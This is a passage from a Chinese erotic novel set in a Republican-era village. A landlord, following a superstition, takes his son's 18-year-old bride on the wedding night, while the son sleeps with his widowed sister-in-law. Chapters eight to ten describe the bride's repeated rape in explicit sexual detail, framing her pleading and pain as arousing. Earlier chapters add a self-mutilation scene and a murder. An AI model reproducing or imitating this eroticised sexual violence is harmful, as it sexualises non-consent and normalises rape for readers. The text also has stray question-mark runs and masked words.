  「我要看看他的想法,他还是一个男人么?第一夜,媳妇就让爹来糟蹋,他会忍得了?让他想想办法!」「可你怎样才能见到他?我是不会放你出去的。你再去找王合,我可受不了啊!」「我就呆在家里,给陶天赐捎信来咱家。在你眼皮底下,这你还不放心吗!」「可他能来吗?」

  「我相信他会来的!」

  秀秀的哥哥正在陶家打短工,秀秀嘱咐哥哥务必把信捎到。

  陶天赐无限郁闷地憋在家里,没心思做任何事情。家里充满喜气的忙忙碌碌,似乎与他无任何关系。他满脑子不可抑止地闪现着爹高大的身影走进洞房的情景。再往下想下去便心如刀割。烦乱难耐的时刻,他就来到二嫂子兰的房里。天赐绝望颓唐的表情,让子兰心里隐隐作痛。她拉着天赐的手安慰道:「想开一些吧!你这样也无济於事会毁掉你的。那些娶进门来不是黄花闺女的也不在少数你就这样去想吧!」「那是两回事」天赐揪着头发,苦痛不堪,「如果这个人不是我爹,我也不一定在意呀!可这算怎么回事?」子兰让他坐在自己的身边,像哄孩子一般轻声细语。子兰的温柔善解,像春风一样温抚着他阴冷灰茫的心。天赐的痛苦减轻了许多。他感激而依恋地靠在子兰的怀里。

  从二嫂房里出来,秀秀的堂哥袁有昌正好找到他。袁有昌把他叫到旁边,小声说:「我妹妹捎信,让你到我家去一趟。她说有天大的要紧事商量」天赐惊异了片刻,只「嗯」了一声,并没表态去或不去。

  天赐思忖了半下午,也曾有不去的念头。但心里又觉痒痒的。他家和秀秀家相隔三里路,说起来和秀秀不算熟悉。但他清晰记得,去年秋天去袁家收地租时,秀秀就站在屋角,瞪着水灵灵的明眸望着他;秀秀高高耸起的胸脯,着实令他遐思了很多时日--那女孩的美妙神韵真的让他过目难忘呢!

  想到这朵娇美的花,竟然要经爹来过手,他心里又开始翻江倒海。

  最后,他还是决定去秀秀家一趟。

  正值喜日的前一天,陶家正忙着捞水桌,招待提前到来的亲友。趁天还没黑,天赐找空离开家门。

  秀秀爹娘诚惶诚恐地接待了这位姑爷。秀秀爹藉故去了园里。秀秀娘则站在门外偷听。

  原本陌生的男女,因婚姻即将捆绑在一起,虽说没有任何柔情密语,但一件尴尬而痛苦的事情,使彼此有了共同关注的焦点--那就是二人的洞房之夜。

  事到如今,秀秀已无任何害羞的表情,她单刀直入地点击着陶天赐。

  「你爹的禽兽行为,你怎么想?你难道无动於衷吗?」秀秀羞愤交加地问。

  「你以为我心里好受么!其实伤害最重应该是我呀!」天赐叹着气。

  「那你为啥不去制止这种行为呢?你该和你爹抗争啊!」秀秀急得直跺脚。

  「你咋知道我没有抗争!我甚至求爹退了这门亲事,宁愿一辈子不成亲。可怎么说也没用,我爹根本不会改变想法!」「那你就去死啊!这样活着还不如死去呢!」

  「我也想过,可又不能那样做。身体是父母给的,随便死去了,那是不孝!」「忍气吞声,让亲爹把媳妇给掏扒了,这是孝顺?你还是男人么!」秀秀气得哽咽。

  「我爹也是没有办法才这么做的,他也不是成心想这样的。我们家出了那么多横事,你也不是不知道啊。如果不去破,以后也不会有平安日子过!」「你也相信那一套迷信的说法?你咋这样窝囊!」「我信不信并不重要,关键是我爹深信不疑。谁也不能改变他的想法,所以」「所以你就顺从了,宁可把自己的媳妇舍出去,是不是?啊!」「既然无法改变,那还不如想开一些吧。反正只是那一夜」「你倒是想开了,可我想不开,没法接受!」

  「你有更好的办法吗?除非你宁死不嫁!」

  「我要是死得起的话,就不这么为难了!」秀秀垂下头,显得悲戚而无奈。

  过了一会儿,她又抬起头,颤抖着声音说:「我有一个办法,让你爹破不成」「啥办法?你说!」

  「那就是今晚你先破了我。那样我们的心里会好受一些」既然给不成王合,给了这个做丈夫的男人也成。总比让老掏扒先占了好。秀秀决议想这么做。

  陶天赐望着面前这个丰满可人的姑娘,一股男人的冲动油然而生,他真想上前去把这朵本属於自己的花先占有了。

  但一经想起爹那剑一样的目光,他打了一个寒战。刚刚燃起的情慾马上就熄灭了。他的确没有勇气违背他爹的意志。

  「我我不会那样做的」陶天赐拒绝了秀秀,然后便夺门而出。显然,他也很痛苦,但却万分无奈。谁也不晓得,陶天赐以后会不会因今日的懦弱而后悔遗憾。

  袁秀秀在无限的煎熬与挣扎中,度过了她少女时期的最后一个夜晚。

  雄鸡司晨,天光渐亮。九月初九那个日子,不可阻止地悄悄来临了。

  第六章:跃跃欲试的陶八爷

  陶八爷家的喜事才算喜事。惊动了犬牙山方圆几百里。

  在犬牙山一带,流传着这样的说法:南有隋怀亮,北有陶八爷。可见陶八爷的地位。其实八爷今朝的风光全是八爷提着脑袋创造的。犬牙山周围的村屯都有陶性家族。但八爷他爹这一支家境却不算富裕。直到陶八爷长大成人之后,才真正轰轰烈烈。八爷从兵痞变为土匪,再从二龙山回到李家沟,足足蹉跎了他十年的光阴。八爷开创家业只经历了两场经典战役。第一次是和本村财主李二嘎的惊心角逐。那年八爷看上了本村一个叫春桃的姑娘。起初春桃还不情愿跟八爷。有一次八爷硬是把她拖到高粱地里,不分青红皂白地霸王硬上弓。生米煮成熟饭,春桃也就顺从了八爷。可偏偏李二嘎也相中了春桃。李二嘎花了几百大洋给镇警署。陶八爷被定了拐骗良家妇女的罪名,稀里糊涂地进了牢房。一年之后出来时,春桃早已经成了李二嘎的小老婆。八爷恶气难消便又上二龙山。

  一天夜里,枪声大作,二龙山的胡子砸开了李二嘎家的窑。宅院顷刻火光冲天。李二嘎提着盒子炮刚一出门,就被一枪撂倒。但这一枪并没有致命。而是一个高大的蒙面人,趁着混乱硬是把李二嘎扔进火堆里烧成焦炭。这一切被当时躲在角落里瑟瑟发抖的一个小女孩看在眼里。

  胡子抢光了李家所有值钱的东西,又掠走了几个有姿色的姑娘媳妇。其中也包括李二嘎的大老婆赵千珠。奇怪的是唯独留下了李二嘎的小妾春桃。火着了半夜,其实只是几间柴房被烧,其他十几间房屋却完好无缺。

  劫难过后,陶八爷却向村公署出具了一份莫名其妙的契约:某某年某月某日,李二嘎和他在双水镇上赌博,李二嘎将全部房产和小妾春桃一注抵押,输给了陶八爷云云。

  黄保长看后不以为然:李二嘎死了也无对证你说也不好使!陶八爷将一张银票塞给黄保长。

  黄保长顿时眼睛就绿了。

  陶八爷不仅接管了李二嘎家的千亩良田,住进了李家气派无比的宅院,还完璧归赵地接管了李二嘎的小老婆春桃。春桃就是后来难产死的八爷的二姨太。据说,李二嘎的宅院下面有一个藏着金银财宝的地下室;李二嘎突然暴死,唯有春桃知道地下室隐秘的入口。八爷财色双手。后来八爷也将财宝放入其内。这是陶家的几代秘密,几乎没有几个人知道。陶家几代人也为这个秘密勾心斗角地寻觅着--这是后话。从此,李家大院变成陶家大院,李家沟也改了名称叫陶八沟。

  八爷的第二次战役是和大财主隋怀亮的地盘争夺战。在犬牙山以南,隋怀亮的大名可谓如雷贯耳,跺一脚连犬牙山都会颤动。可八爷似乎不听那份邪。犬牙山东麓是一片一望无际的荒芜的水洼地,尽管土质肥沃却没人敢开垦。只因为听说隋怀亮要占据。八爷想先入为主。他领着家丁骑马圈了地划上了标记准备开垦。可就在这时隋怀亮派人来说,这地是隋家的,限八爷三日之内退出。否则就别怪不客气。八爷却毫不理睬,继续派人昼夜开垦。

  三天以后隋怀亮下来战书,约在东山的城隍庙。可见这是一场生死角逐。

  八爷只带了一个家丁去了城隍庙。隋怀亮则带了几十个彪形大汉,气势汹汹地站在佛像前如临大敌。

  隋怀亮下了最后的通牒:地是还还是不还?

  八爷全无恐惧,雪亮的目光对着他,说:「地是不能交了!看我身上什么值钱尽可以娶!包括我的性命」「人肉最值钱你给吗?」隋怀亮阴冷地说道。

  「好啊!那我就以肉换地,你看如何?」八爷镇定地笑着。

  「可以呀!只需一斤肉。我回去包饺子吃!」隋怀亮目光充满了挑衅。

  八爷从腰里拔出尖刀,先是撸裤管露出大腿,微笑着在上面横插一刀。三刀过后一块血淋淋的肉便挑在刀尖上。刷地一声甩给了对面的隋怀亮。

  隋怀亮惊愕地接住。手不觉微微颤抖。但他马上又说:「这么点肉咋能够我的口味呢?」八爷忍着剧痛有吞下裤子。刀又插进大腿处。一块更大的鲜肉便挑在刀尖上。之后连尖刀一起飞向隋怀亮的怀中。

  隋怀亮大惊失色,慌忙站起,拱手道:「领教了!八爷是条汉子!这块地就归八爷了!」之后便领着人扬长而去。

  很快八爷和隋怀亮成了朋友有了交情。彼此各占犬牙山南北井水不犯河水。从那以后,八爷和隋怀亮便齐名於犬牙山。八爷便拥有了三界九流的四海宾朋。

  陶八爷家的大事小情,非寻常人家可比。定下日子,陶家就开始大发请帖。前三天便杀猪宰羊。前一天捞水桌,陶家就已经热闹非凡。前院当街处,搭起了戏台正在唱大戏。

  九月初九正日子这天,院里院外早已人声喧哗,高朋满座了。

  三亲六故,屯里乡亲自不必说。有头有脸的乡绅官吏,也毫不例外地前来贺喜。

  大财主隋怀亮最先坐着马车来了。隋怀亮穿绸裹缎一派雍容华贵,身边还挽着新娶的小妾。八爷把他们让道尊贵的上房里。吩咐人上茶。八爷看着隋怀亮娇美的小妾,调笑他艳福不浅。隋怀亮得意地笑着,又神秘地看着八爷道:「难道八爷就不想再娶一房?看老兄精神矍铄,小伙子都难敌,再娶三两房也游刃有余啊!」八爷只是笑,但心里却如浪涌过。难免更加向往今夜儿子的洞房。八爷吩咐大儿媳妇彩云在屋内招待隋怀亮夫妇。他又出来迎接其他客人。来的都是有头有脸的人物,他丝毫不敢慢待。

  村公所的黄保长也骑着洋车挎着盒子炮赶到;连镇上的李镇长也派人来祝贺。八爷让进西房,吩咐二儿媳妇子兰进去奉陪。

  陶八爷红光满面,身着红缎绸衣,站在院内连连拱手迎接四方来客。

  宾客已大体来齐,专等迎亲的花轿风风光光地抬进陶家。

  迎亲的队伍正簇拥着一顶豪华的花轿,吹吹打打地行走在犬牙山下的山路上。

  新郎陶天赐身穿红袍,胸带红花,毫无表情地骑着枣红马缓行在花轿前。马蹄脚下踏着深秋的落叶沙沙作响,他心间一片凄清和茫然。

  花轿内的秀秀更是呆若木鸡。红盖头里,花一般的脸蛋上罩着一团浓浓的阴影;秋水的双眸像被冻结了一般,凝结着一层泪雾。她的心间已经一片空白,任凭身体随着轿子的颠簸微微颤动。

  临行前,秀秀娘照例交代了一番,不外乎是洞房之夜,过来女人的一些情事经验。秀秀已没心思去记这些。一提到洞房之夜,她就全身战栗,像是被蛇咬了一般。

  上轿时娘哭了,可秀秀却没有哭,似乎她的眼泪已经在这几天流乾了。她更没有去安慰娘。她觉得自己只是一具殭屍,被人抬着走了。

  接近正午,花轿被抬进了陶家大院。人声顿时喧哗起来。

????第七章:错乱的洞房花烛(1)

  拜完了天地,秀秀由伴娘牵着自己入了洞房。新郎今天是无论如何也不能进洞房半步的。拜完了天地,陶天赐揪扯了局外人,旁观者。他只任凭爹指使着去无休止地招待客人,挨桌敬酒,说客套话。

  屋内院外,一片吆五喝六的猜拳行令声。直到黄昏,一些外场的客人才陆续散去。

  八爷陪隋怀亮和黄保长等人喝了很多酒,但八爷却没有一丝醉意。八爷的酒量在十里八屯都赫赫有名,据说喝三碗五碗都不在话下。况且八爷知道今夜实际是自己的洞房,兼具着破桃花的使命。

  黄保长是最后一个离开八爷家的尊贵客人。他喝的舌头发短,脚步踉跄。八爷送他到门外时,他却诡秘地说:「八爷,最近怎么不到镇上走走了?天上人间的蕊红姑娘,…经常念叨你呢!哪天,约个时间咱两个去乐呵乐呵!……」八爷环视着周围低声说:「等过了这一阵子喜期,才会有些功夫。」长有意无意地卷着舌头调笑道:「你儿子的新婚蜜月,与……你这个当老子的有啥关系呀!啊?哈哈!」八爷也附和着笑了两声,说:「黄保长,你有些喝多了……」看着黄保长斜斜歪歪地骑着洋车子远去了,他才转回身回到院子。这时已经夜幕降临。八爷望着被花烛映红的新房,贴着大红喜字的窗棂上,正映出新娘子端坐的婀娜身影。他的心间顿时袭过一股躁动的酥痒。

  他找来管事的吩咐道:「告诉下去,今晚任何人不得闹洞房,更不得听房。如有违反,定不轻饶!」见人声还没有安静下来,陶八爷先是回到自己房中,一边喝茶一边盘算着今夜的洞房。

  他耳边响着南方蛮子私下和他说的话:「破桃花越猛越好,千万不要怜香惜玉。最好一夜破她个十次八次,破她个狼藉不堪。以后毒性就没有了」为此,八爷做了充分的准备。从定下喜日那天起,他就一直没和自己的老婆有亲近,更没有去镇上找过蕊红厮混。陶八爷是个雄性十足的男人,他的一妻一妾曾经被他饲弄得心满意足,没有一丝乾渴的感觉。况且他还有剩余经历和黄保长去镇上的柳巷里找姑娘寻欢。

  黄保长很是羡慕他,说他是公猪托生的,交配的能力特强,三里五村无人能敌。

  有时,陶八爷看着夜里老婆们满足的桃红面,自己也倍感骄傲。镇上那个蕊红,时间久了见不着他,心里就想得慌。

  自从他的小妾春桃难产死后,他就三天五天往镇上跑。回来滋润老婆依然游刃有余。况且正妻陶王氏已经人老珠黄,提不起他的兴趣,一个月顶多象徵性地沾她一回。

  陶八爷一晃已经憋了半月有余,每天早起都一柱擎天。他跃跃欲试,准备大破桃花。

  此时,他的宝贝已经膨胀无比,他难耐地站起身。正准备去洞房,他老婆陶王氏刚好从那边回来。

  陶王氏见他急不可耐的样子,心里酸溜溜的。尽管陶王氏在八爷面前总是唯唯诺诺,不敢出大气;在破桃花这件事上她更不敢反对,但怀着女人固有嫉妒心,今天她却咋着胆子数落一番:「你们陶家咋出来这样的孽事呀!娇嫩嫩的儿媳妇竟然让你这个老不死的来糟蹋!你知道天赐该有多难受啊,简直是生不如死呀!我看着孩子可怜巴巴的样子,心就像刀割一般!你倒好,只想自己快活,不管孩子你现在是不是已经等不及了!啊?」要是往常,她敢这样说话,八爷早已雷霆万钧了。但今天是喜日,外加八爷心里也有稍许的内疚,所以今天没有太大的发作,只是瞪着她说:「闭住你的臭嘴!眼下说这些有用么!」陶王氏马上哑口无言了,但她眼中噙着泪水。一个女人的泪水,一个母亲的泪水。

  秀秀蒙着盖头,在新房里足足坐了大半天,身体几乎都僵木了。在没人的时候她也站起动一动,但马上又要坐回去。

  有两个本家的姑嫂给她送来吃食,被她拒绝了。她几乎什么也不想吃。黑天之后,婆母又做好了一碗宽心面,掀开她的盖头一角,送到她嘴边,她勉强吃了两根,便又示意婆母放下。婆母苦口婆心地劝了好一阵子,也不见什么效果,便叹了一口气无可奈何地离去了。一位本家的嫂子为她铺好了红绫被,摆好了一个鸳鸯枕,便也无声地离去了。

  由於八爷下了话,那些准备闹洞房的青年男女都怏怏地陆续离去。

  洞房里显得空旷死寂,两只大花烛哧哧喷着金黄色的火苗。秀秀感到无限的孤独和恐惧。她时刻绷紧神经倾听门口的动静,每有响动她便战栗一次。

  又听见有人大踏步地走进来,之后是插房门的轻微响动。她的心马上又缩紧了。

  盖头被掀开那一刻,她清晰看见陶八爷那张红光满面的大脸,那上面的两束目光雪亮雪亮的。

  秀秀如花的面庞因冷若冰霜而显得更加端庄秀美,陶八爷的心间顷刻掠过一道闪电。他情不自禁地将手伸过去,想摸她的脸蛋,却被她阻挡了。

  八爷问她是否吃过一点东西,秀秀不答,只惊恐地望着他。

  「不早了,该上炕睡觉了!」八爷说着便解自己的衣扣。

  秀秀猛地跪倒地上,央求说:「爹,你今夜就放过我吧。还是让天赐来入洞房吧」八爷托起她,将她扶到炕沿边坐下,态度温和地说:「秀秀,这一切都是命中注定的,谁也无法改变。你还是想开吧!过了这一夜,你仍然平安地过你们的日子,这也不算什么嘛!」说着,八爷脱完了衣服,已上到炕里,顺手把窗帘拉上。

  秀秀绝望下来,她知道一切努力都是徒劳的。但她还是不肯上炕,只坐在炕沿上抽泣。

  僵持了很久,八爷还是没有强迫她。只用刀子一样的语言降服她。

  「既然你已经嫁到陶家,这一关你是无论如何都躲不过的。如果在上轿之前还没想好,你你就该死也不能上这顶花轿呀!只要你进了这个门,一切就不由你了。我不想用强暴的手段,那样你会更痛苦的。你想想看,你还能逃出这个屋子吗?你进来干嘛?」秀秀又哭泣了很久,心里剧烈地翻腾着。但最后她还是无奈地伸手去解自己的纽扣。但每解开一个扣子,她的心便紧缩一次。

????第八章:错乱的洞房花烛(2)

  尽管秀秀已不抱任何希望,但她还是拖延着分分秒秒的时光。她磨磨蹭蹭地脱去了大红裤和大红袄,显露出粉红色的贴身衬衣。

  她几乎是战战兢兢地上了炕。炕上只铺了一床被褥,秀秀只贴着褥边躺下来,背对着陶八爷。

  八爷起身放下幔帐,顺势下身已脱得赤条条。

  大红蜡烛在幔帐外,闪着金色的火苗。幔帐内被一片粉红笼罩,色彩温暖而朦胧。

  八爷已贴近她的身体,将手伸到内衣沿着腋下探到她的胸前。十八 岁的身体,一切都那么美妙。尖铤而弹性十足的玉乳,摸上去鞠可盈掌。指间夹着峰顶的圆珠,美妙的性感传遍八爷的全身。

  八爷再也难以控制,强烈的慾望暴涨成淹没理智的狂潮。他几乎狂野地扒掉她身上所有遮盖,连围胸的红肚兜也不放过。

  青春的气息,透着淡淡的芬芳;妙龄的体态,曲韵动人,润泽生辉。八爷几乎醉得晕过去。

  八爷搬过她的身体,呈仰面朝上,但秀秀又执拗地翻过去。八爷又硬搬过来,猛地把她压到身下。

  尽管恐惧和羞辱席卷着秀秀,也下意识地做了绝望的挣扎。但面对面对八爷强壮的虎狼之躯一切都是徒劳的。处汝的最后一道防线还是被凶猛地突破了。而且八爷是连那道黄纸符一起穿破的。

  只觉一个粗壮而坚挺的硬物,像楔橛子般硬挤进来,撕裂的胀痛,使她忍不住惨叫一声。之后她就像一具僵死般一动不动。满脑子全是恨。恨身上这个禽兽;恨懦弱的陶天赐;恨爹娘把她推进火坑里;更恨娘昨天棒打鸳鸯拆散了她和王合。为什么那一刻娘就偏偏赶到。王合哥破了她的身体绝不会这般苦痛。老天无眼啊!

  大破桃花的使命和蓬勃的慾望,无限交织在一起,八爷的兽性之举达到巅峰极致。他使尽全身解数,尽情蹂躏着这个娇嫩的花体。他就一只肆无忌惮的公羊,嗷嗷狂叫,瞪着猩红的眼睛。

  秀秀热汗直流,尖叫连连。八爷已全然不顾这些了。

  秀秀这几天吃睡不良,身心憔悴,外加无限忧虑,恐惧,羞愧,已经不起这样久久的折腾,她很快昏迷过去。

  兽性之后,八爷下地拿来蜡烛,仔细检查她的身体,见果然是女儿身。褥子上浸着一滩血迹,白嫩的大腿窝处也满是殷红。八爷心满意足地笑了。

  秀秀苏醒时,已全身瘫软,无力动弹。那地方还在疼痛着。

  而八爷正躺在她身边睡去,八爷正积蓄力量准备二破桃花。

  就在秀秀经历身体摧残痛苦不堪那一刻,洞房门外还有一个人,心灵正在痛苦地流着血。这个人就是新郎陶天赐。

  下午天赐被父亲强制去给客人敬酒,自己也喝了很多。客人散去后,他便趴在另一间的房里痛苦地煎熬着。娘过来规劝开导了很久,他却越发烦乱。

  难挨的夜静静地降临,他感觉爹已去了本属於他的洞房。他心里愈发翻江倒海地折腾着。他起来又坐下,又起来。就像笼子里的困兽。他还是情不自禁地出了房门。

  他便迷迷糊糊地来到洞房前。此时窗棂上正闪现着爹赤着下身去拉窗帘的影子。

  很快,传出秀秀连绵不断的叫唤声,呻吟声。他的血在沸腾,直冲脑门。他几乎想不顾一切冲进去。

  就在这时,身后有一只温柔的手搭在他的肩膀上。他猛回头,见是二嫂子兰。二嫂生拉硬扯地把他拖到自己的房里。此时小春枝已在炕上憨憨地睡去。

  二嫂强硬把他按坐在炕上,说:「不要去听了,那样你会更痛苦的!」「二嫂,你快帮帮我,让我死去吧!我实在是受不了了!」天赐痛苦地揪着头发。

  「我理解你的心情,谁也会受不了的。可既然已经这样,你也要忍啊!」「二嫂,我怎么忍呐,我也是男人啊!」

  「我有个办法会让你平静下来」二嫂柔柔地,脸上羞红妩媚。

  「啥办法,二嫂?」天赐懵懂地看着她。除了死以外还会有更好的办法吗?

  「你难忍,是因为你身体里憋胀着男人的冲动和尊严,你把它释放出来后,就什么也不想了!」「啊?」天赐张大嘴巴。

  「我帮你把它释放出来」二嫂愈发红着脸。此时二嫂正敞着怀,硕大的乳FANG半遮半掩地显露着。

  天赐似乎明白了子兰的意思,顿觉面颊发热,不知所措。但他看见她情态可掬,心间恍惚掠过莫名的躁动。他躲闪着她眼里荡漾的波光,嗫嚅着:」嫂子,这样我心里真的会好受些么?」「会的。等你把那慾望释放出去,你就什么也不去想了。那时你会觉得,男女之间也只不过那么一点事儿,没必要去在乎什么了!」「那算不算我在欺负你呢?」他忐忑。就像准备偷东西的孩子。

  「怎么能算你欺负我呢!嫂子疼你,你也疼嫂子呀!」子兰柔声密。目光涟涟闪着波光。

  「那让爹知道怎么办?」

  「他怎么会知道呢?他正在你的洞房里消魂还来不及呢!」一想到刚才洞房听来的那一切,他的心间又刮过一场飓风。是啊,爹正在自己的新房里,禽兽般地折腾自己的新媳妇,却没有想到儿子的感受。我还考虑他干嘛!你做,我也做!

  天赐似乎猛然间找到了一种心理平衡。他抬眼看着姿态可人的嫂子,那种冲动在体内弥漫。但他还是那么不安,又说:「娘那边怎么办?说不定一会她会找我的」「这我来安排。我去她那里」子兰整理好半敞的前襟起身出门。但她又转回头秋波一闪,「等我回来呀!」

  第九章:洞房外的新郎

  说话间,说话间便出了房门,来到娘的房间。

  陶王氏还没有睡。大嫂彩云也在房间里。子兰感到惊奇:「大嫂,你咋也在这里?」「我怕妈心情不好,过来陪陪!」彩云说。

  陶王氏端着长杆烟代一口接一口地吸着。脸上罩着一层灰暗的痛苦。子兰瞬间觉得这女人更加可怜。她在为儿子痛苦也在为自己痛苦。

  陶王氏转脸问子兰:「天赐在你房里?」

  「嗯。我正为这事而来」说话间她瞥了一眼彩云。彩云正审视着她。

  「他的情绪很糟糕吗?」陶王氏话出口便觉多余--他会好受吗!

  「天赐他寻死觅活的,我一刻也不敢离开他!」子兰语调很低。

  陶王氏磕着烟代,叹口气说:「你千万要开导他别让他想不开呀!在你那里我也放心了。他和你最投缘今晚就你看着他吧,别出意外!你过来干嘛?我这里不用你管,快回去吧!」「天赐他说想喝一点酒我过来取顺便看看您」子兰嗫嚅着。

  「喝点也可以,就是别让他喝多了闹出事来!」陶王氏嘱咐道。

  「不会的我会劝好他您放心!」子兰说罢便出来上房,准备去厨房拿酒。

  彩云却也告别了婆婆想跟子兰出来。她叫住子兰似乎有话要说。子兰焦急地地等待她开口。

  「今晚那个秀秀该如何忍受啊!」彩云看着依然亮着烛光的洞房,语调悲伤。

  「怎么忍也得忍今夜总归要过去的」子兰着急回房显得心不在焉。

  「你倒是看得开呀显得无动於衷」彩云责怪道。

  「看不开也没办法谁让她做陶家的儿媳妇呢!」「是啊,不曾想进了牲口圈!子兰,你想过吗?咱们两个也不久就要遭此噩运了!想起来就胆战心惊据那个南方蛮子说,咱两个也要被破桃花你我孝期已过,秀秀之后就该轮到你我了!你是怎么想的?」「想也没用走一步看一步吧!」子兰语调游移飘忽,「咱们都是寡妇了,已经是过水的人了,也没必要在乎许多」彩云惊愕:「哦?看来你早想好了?你不在乎?」「在乎又能咋样,在这个院子里一切都身不由己!大嫂,你有更好的打算吗?」「我可不能忍受那样的牲口事迟早我要离开陶家的」彩云彩云语气很坚定。

  「你要改嫁?」子兰吃惊非小。她还从来没有想过一丝一毫。

  「改嫁有啥大惊小怪都民国了!谁愿意在这活棺材里等死!」「那老头子不会放过你的你这是痴心妄想!」子兰望着那边红烛闪烁的洞房,语调万般无奈。

  「那该咋办?难道就等着公爹来乱伦糟蹋?」

  子兰只轻轻叹了口气。此刻她已没有心思去想那些。天赐还在房里等着她。於是她说道:「我该回房了,别再天赐出啥差错」彩云打量着她神秘兮兮地说:「天赐眼看着洞房入不了,却要入你的房里过新婚之夜你不会乘人之危吧!」子兰惊悸,慌乱说:「你在说啥呢?」

  「天赐的确对你不一般从平常的眼神里可以看得出今晚你们不会碰出啥火花来吧!」子兰脸红心跳,就像没穿衣服站在人前。幸好夜色里彩云看不清她的尴尬表情。「大嫂你咋这样胡说我可不理你啦!」她逃跑一般慌乱地离开彩云。彩云狡黠地看着她消失在厨房门口,转身也回了房里。

  子兰到厨房取了一壶酒和两个酒杯,急匆匆地回到房里。

  天赐正在屋里焦躁地踱着步。

  她拉着天赐的手坐回到炕沿上,轻声说:「娘那边我已经交代好了。她还说让我好好劝你答应你在这里过夜了。你就尽管放心!」天赐没有再说什么,就像一个六神无主的孩子任凭大人随便安排。

  子兰往两个酒盅里斟满酒,语调飞扬地说:「你看你成一回亲,连交杯酒也没喝着今晚嫂子给你补上!」天赐不置可否地坐在那里,呆愣愣地看着一只芊芊玉手把酒杯端过来。酒香和女人的气息融合弥漫着。像是朦胧的梦境。

  在嫂子的指点下,他和嫂子的手臂交叉挽在一起,把酒盅送到彼此的唇边。他饮下那酒的时刻,感觉到嫂子柔柔的玉手已触碰到他的唇下。

  嫂子喝下一杯酒,已显面色桃红。她妩媚地看着他说:「今晚喝了交杯酒,我们算不算夫妻呢!」「如果下辈子让我选择的话,那我就找嫂子你这样的!」天赐似乎说的是心里话。自打她入嫁陶家来,天赐就对她有一种特别的感觉。或许是少 年的情怀对温情女性的向往。

  「那我们就做一对露水夫妻吧!」嫂子已做到他的身边,柔声说。

  「什么是露水夫妻呀?」他清晰地嗅到了子兰身上的气息,陌生,芬芳,让人向往。

  「露水夫妻就是偷偷摸摸的夫妻呀!」

  子兰已上炕去铺好被子,自己先脱去了衣裤,赤条条地展现在他面前。天赐第一次目睹女人一丝不挂的体态。他被惊得目瞪口呆。

  「来呀,今晚你入嫂子的洞房,让我好好教你怎样做男人!」子兰去拉天赐的手。

  被一种诱惑吸着,他不由自主地上了炕。

  当嫂子用柔软的手解开他的扣子,脱去他的所有遮掩那一刻,他的下身已难以抑制。他不顾一切地爬到嫂子柔润光滑的身体上。

  「你不要着急呀,我教会你慢慢做!好男人要懂得先去抚摸好女人的等女人感觉好了,你再去做!」子兰轻轻地抚摸,燕语呢喃。

  天赐都按嫂子说的去做了。少男初涌的情怀轻轻漫过陌生的山峦,淹没凄凄的芳草地更有如淅淅沥沥的小雨润泽一片乾渴的土地子兰梦呓一般娇吟呼叫。犹如春夜雨打芭蕉。

  柔软,湿滑,灼热。这是天赐初尝云雨的感觉。他飘飘地行走在彩云里,生命昇华到快慰的及至。

  但天赐是初次,太过敏感。潮水激荡了几次便决堤千里。

  子兰扭动着身子迷迷离离。但她似乎很理解,说:「男人第一次都这样」天赐平静下来,潜意识地又去想洞房那边的事,确实没有先前那般难受和冲动了。但另一种懊恼袭来:自己和嫂子发生这事儿,应不应该呀?家里人知道怎么办?我是不是也像爹那样畜生!今后我还可以像以往那样和嫂子相处吗?他没有答案,只是甜蜜中懊恼,懊恼中甜蜜。

  他穿好裤衩,又去穿外衣。子兰却夺过他的衣服,说:「现在都是大半夜了,你今晚就在这里吧!明早在回去!」

????第十章:第一夜之后

  暗夜退去,星星的眼睛也眨得疲惫了。曙色浸润,子兰的房里正玉困花柔。

  天赐最近身心疲惫,又喝了酒,泄了欲,他躺在子兰的身边很快睡着了。

  恍惚间,他从嫂子的房里走出去。见新房那里的灯还亮着,他走过去在窗前仔细听了一阵,里面一点声息也没有。他吱呀一声推开了门。

  新房内空无一人,红段子被整齐地铺在炕上。地桌上蜡台的红蜡烛只剩了一根,哧哧地流着水一样的东西,细一看,那竟然是眼泪。顷刻间又发出呜呜的声音。他感觉毛骨悚然,慌忙往门口退去。可门口正站着一个人,是秀秀。

  秀秀衣冠不整,披头散发,满脸还流着血。她嘴里发着凄凄惨惨的声音:「我已经死啦死啦!」还没来得及说话,秀秀竟然伸出蛇一样的手臂,十指尖尖的双手猛地掐住他的脖子,声音凄厉地叫喊:「你还我身体!」他顿觉呼吸困难。他拚命地挣扎着,挣扎着猛然间他被吓得醒过来。身边的子兰还在赤条条地睡着。她的一只雪白的胳膊正搭在他的脖子上。子兰呼吸均匀,脸上甜美的情态依稀可见。子兰那边是她的孩子小春枝。

  外面的鸡鸣声已此起彼伏。朦胧的晨色已透过窗帘浸润在屋内。屋内温馨,静寂,朦胧。

  天赐被刚才的梦境吓出一身冷汗。他起身穿好衣服,见子兰早已把被子踹在脚下,他准备拽起被子给她盖上,这时子兰却醒了。

  「要走啊?」她睡眼惺忪地问。

  「嫂子,天已亮了,我该走了。我担心昨晚我们的事,会不会暴露啊?」「天知,地知,你知我知。春枝还小,什么也不知道怎么会暴露呢?」嫂子彻底醒过来。

  「那我走了。」他下地穿好鞋。

  「就这样走了?」子兰翻身侧卧在那里,用光滑的臂膀支撑着头,看着他。

  「还有啥事么,嫂子?」

  「昨晚的情意你不会很快忘记吧,是我让你第一次做了男人。你也该亲我一口再走啊!」天赐返回身,在她的脸颊上轻轻地吻了一下,便快步走出房门。

  外面空间依然一片朦胧。天赐想起刚才的梦,不觉向自己的新房望去,见新房里烛光还亮着。

  他脚步不可抑制地向那里走去。他像梦里那样站在窗前仔细听着。并不像梦里那样毫无声息。而是听见秀秀还在高一声低一声地呻吟着。

  陶八爷这一夜破了三次桃花,秀秀简直被折腾狼藉不堪,体态成一滩泥。

  最后一次是在天亮的时候。八爷半夜破了第二次后,又香香地睡了一觉,醒来时身下的东西又挺立起来。他一翻身又扒上来。秀秀几乎一夜未眠,她经历了噩梦一样的魔鬼之夜。

  见八爷又上来,她便苦苦哀求说:「你就放过我这一次吧,你已经破了两次了。我实在是受不了了!求求你了!」八爷听了这话,不但无动於衷,反而更刺激了他的兽慾。

  「最后一次了,你就忍着吧!」八爷说着,又猛地戳进去,开始翻云覆雨。

  秀秀感觉像是一次次被捅着伤口,她难以忍耐地叫唤着。

  天赐站在外面,秀秀的每一次呻吟,都像一把刀刺进他的心里。天赐娘早起,见天赐站在新房外,便把他硬拉回自己的房里。天赐一头紮到炕上。

  八爷离开新房时,告诉秀秀:「这一个月内,你啥也不要做了。有你大嫂和二嫂呢!」秀秀只咬牙瞪着他,恨不能一口吃掉这个老畜生。

